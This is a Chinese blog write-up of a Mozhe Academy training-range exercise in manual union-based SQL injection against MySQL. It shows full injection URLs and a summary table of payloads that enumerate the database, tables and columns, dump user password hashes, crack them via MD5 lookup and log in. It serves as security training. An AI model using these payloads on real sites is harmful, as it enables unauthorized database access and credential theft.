墨者学院01 SQL手工注入漏洞测试(MySQL数据库)
问题描述
鉴于我已经两周没能成功运行攻防世界的靶场环境...于是昨天又搜了一些网站,感觉墨者学院的题目还可以~
SQL手工注入虽然是一个已经被安全博主讲烂的主题,但是我之前很少有从头到尾实践手工注入的经历,所以觉得还是有必要为自己记录与整理的~
题目链接:SQL手工注入漏洞测试(MySQL数据库)
ctrl+u查看源码,源码似乎没有额外的解题提示~ 不过在第21行指向了一个可用的链接~
打开链接,是一个通知~
这些就是已知的条件啦~
解决方案:
参考1:谈一谈|SQL注入之显错注入 - 腾讯云开发者社区-腾讯云 (tencent.com)
参考2:评论区banyejiu与不眠ovo二位大佬的wp
工具:无
1 判断注入点
①地址栏测试语句如下~
http://124.70.22.208:44466?id=1 and 1=1http://124.70.22.208:44466?id=1 and 1=2
传送以后,发现页面没有任何奇怪的反应,那敏感字符很有可能已经被WAF过滤掉了[id在执行后前面有一个斜杠"/"],注入点可能不在这里~我们再试试另一个停机维护的网页~
http://124.70.22.208:44466/new_list.php?id=1 and 1=1http://124.70.22.208:44466/new_list.php?id=1 and 1=2
网页置空,这个就是明显的注入点啦~
②账号密码测试语句如下~
'or 1=1 --
账号密码传送以后,没有传回与数据库交互的信息~本小白还不晓得怎么下手...
所以综上,维护通知的网页很可能存在注入点~
2 判断字段数
其次,判断当前数据库的字段数(列数)~
http://124.70.22.208:44466/new_list.php?id=1 order by 1
网页正常,说明order by 1是正确指令(此处id=1可更换为id=1 and 1=2,执行结果略有不同,但都能得出相同结论),我们换成2、3、4逐渐尝试,发现输出是类似的~
直到输入order by 5时,页面置空,说明语句执行失败,当前数据库的字段仅有4列~
3 判断回显字段
http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,2,3,4
通常数字1,2,3,4哪个数字会在页面有回显,就说明哪个字段注入就是最方便的~(注意此处报错语句例如and 1=2或id=-1是必需的,否则页面无法回显输出结果~)
根据执行结果,2和3是较为明显的注入字段~
4 查询数据库名称
在字段2或3处输入 查询数据库名称的命令:database()~
http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,2,database(),4http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,database(),3,4
执行结果,该数据库的名称为:mozhe_Discuz_StormGroup
5 查询数据库表名
在字段2或3处输入 查询数据库表名 的命令~
union select group_concat(table_name) from information_schema.tables where table_schema= '库名'
{在数据库(需更换为指定的数据库名,如本题的mozhe_Discuz_StormGroup)中查询所有数字库表信息(information_schema.tables数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,详见information_schema表),并输出其中的数据表名table_name~}
http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='mozhe_Discuz_StormGroup'
输入结果如下图所示,表名有两个:(1)StormGroup_member (2)notice
6 查询字段名称
在字段2或3处输入 查询字段名 的命令~
union select group_concat(column_name) from information_schema.columns where table_name='表名'
{在所有数字库表信息information_schema.columns中查询数据库'表名',并输出其中的字段名column_name~}
http://124.70.22.208:48455/new_list.php?id=1 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'
输入结果如下图所示,字段名有四个:(1)id (2)name (3)password (4)status
7 查询字段内容
在字段2和3处输入 查询字段内容 的命令~
union select group_concat(字段名) from 表名
http://124.70.22.208:48455/new_list.php?id=1 and 1=2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1http://124.70.22.208:48455/new_list.php?id=1 and 1=2 union select 1,2,group_concat(name,'~',password),4 from StormGroup_member
第一句输出结果如下图所示,计划会输出两行语句,但是网页就只能显示两条数据(第一个用户的name与password)~
第二句输出结果如下图所示,采用group_concat联合输出了name与password~,就可以看到所有的内容啦~
字符串1:356f589a7df439f6f744ff19bb8092c0
字符串2:840592d57235880bd2a51201a88a1256
8 md5解密
免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder
字符串1解密结果:dsan13
字符串2解密结果:745581
返回最初的登录页面,输入用户名:mozhe、密码:745581,登录结果如下图~
KEY:mozhe8c360e9aac5831ef321b5ba27ad
总结:整个显错注入流程使用到以下语句~
语句 | 功能 |
and 1=1 and 1=2 |
判断注入点 |
order by 5 | 判断字段数 |
and 1=2 union select 1,2,3,4 | 判断回显字段 |
and 1=2 union select 1,database(),3,4 | 查询数据库名称 |
and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='库名' | 查询数据库表名 |
and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='表名' | 查询字段名称 |
and 1=2 union select 1,2,group_concat(字段名1,'~',字段名2),4 from 表名 | 查询字段内容 |
愿本文有所帮助~欢迎留言沟通与讨论~(●'◡'●)
墨者学院01 SQL手工注入漏洞测试(MySQL数据库)相关推荐
- 墨者靶场:SQL手工注入漏洞测试(MySQL数据库)
有一说一,本来是准备把笔记写在墨者的解题思路里的,结果不让写了,离谱 启动靶场后,会进入一个登录界面,界面下面有一个维修公告,打开公告. 1.判断有没有注入点: 219.153.49.228:4946 ...
- 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)
0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...
- 《墨者学院——SQL手工注入漏洞测试(MySQL数据库)》
作者: susususuao 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 一:思路 背景介绍 安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭 ...
- sql注入(2) 墨者学院之SQL手工注入漏洞测试(MySQL数据库-字符型)
目录 1.工具及靶场环境 2.解题步骤 2.1判断注入点 2.2判断字段数 2.3信息收集 2.4爆破数据库 2.4.1爆破数据库表名 2.4.2爆破指定表的列名 2.4.3查询账号密码 3.md5解 ...
- 墨者 SQL手工注入漏洞测试(MySQL数据库)
测试注入点 http://124.70.64.48:40014/new_list.php?id=1sdaf 不显示,说明存在注入点 order by http://124.70.64.48:40014 ...
- Oracle数据库注入-墨者学院(SQL手工注入漏洞测试(Oracle数据库))
本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(Oracle数据库). 地址:http://124.70.22.208:42948/new_list.php?id=1(注意地址已 ...
- MongoDB数据库注入-墨者学院(SQL手工注入漏洞测试(MongoDB数据库))
本期来为大家讲解的sql注入题目是来墨者学院的SQL手工注入漏洞测试(MongoDB数据库). 地址:http://124.70.71.251:46804/new_list.php?id=1(注意这里 ...
- 墨者学院刷题笔记——SQL手工注入漏洞测试(MongoDB数据库)
今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL手工注入漏洞测试(MongoDB数据库). 一.题目简介 我们这里采用墨者学院的MongoDB数据库渗透测试题目,其地址为:https:/ ...
- SQL手工注入漏洞测试(Oracle数据库)
SQL手工注入漏洞测试(Oracle数据库) 0x01前言 本文旨在讲述Oracle数据库多种情况下如何进行注入 靶场地址:SQL手工注入漏洞测试(Oracle数据库)_SQL注入_在线靶场_墨者学院 ...
最新文章
- iOS9网络适配 info.plist配置
- 市政管网检测机器人收费标准_泰州泰兴新街镇市政管道机器人检测怎么收费
- c语言构造满二叉树,递归创建二叉树c语言实现+详细解释
- 深度linux安装双,Deepin 20正式发布,新的外观和感觉,双内核安装
- 缓冲区 cin() getline() getchar()
- 设置GNOME或者KDE为默认的启动桌面环境
- DCMTK:类DVPSIPCClient的示例消息服务器
- python3下载-python下载 v3.7.0 官方正式版
- 依托大数据的财务管理新路径
- 随笔 M330华为盒子 4k播放
- 令人敬畏的泰格伍兹 万维钢_资源商店应用程序部分推出了令人敬畏的一周销售
- 给3D打印机升级的记录( i3 Mega S)
- Win10利用bat文件实现文件与文件夹批量重命名
- Excel里怎么冻结某一行某一列
- 为什么吃饭的时候不说话
- Kafka教程(三):原理及存储
- iOS微信聊天记录迁移时报错:当前网络状况复杂
- 普通人的2022春招总结(阿里、腾讯offer)
- 为什么华为的工程师也要去考公务员???
- vue正则判断输入0-100之间(含0、100)数字,最多两位(多位)小数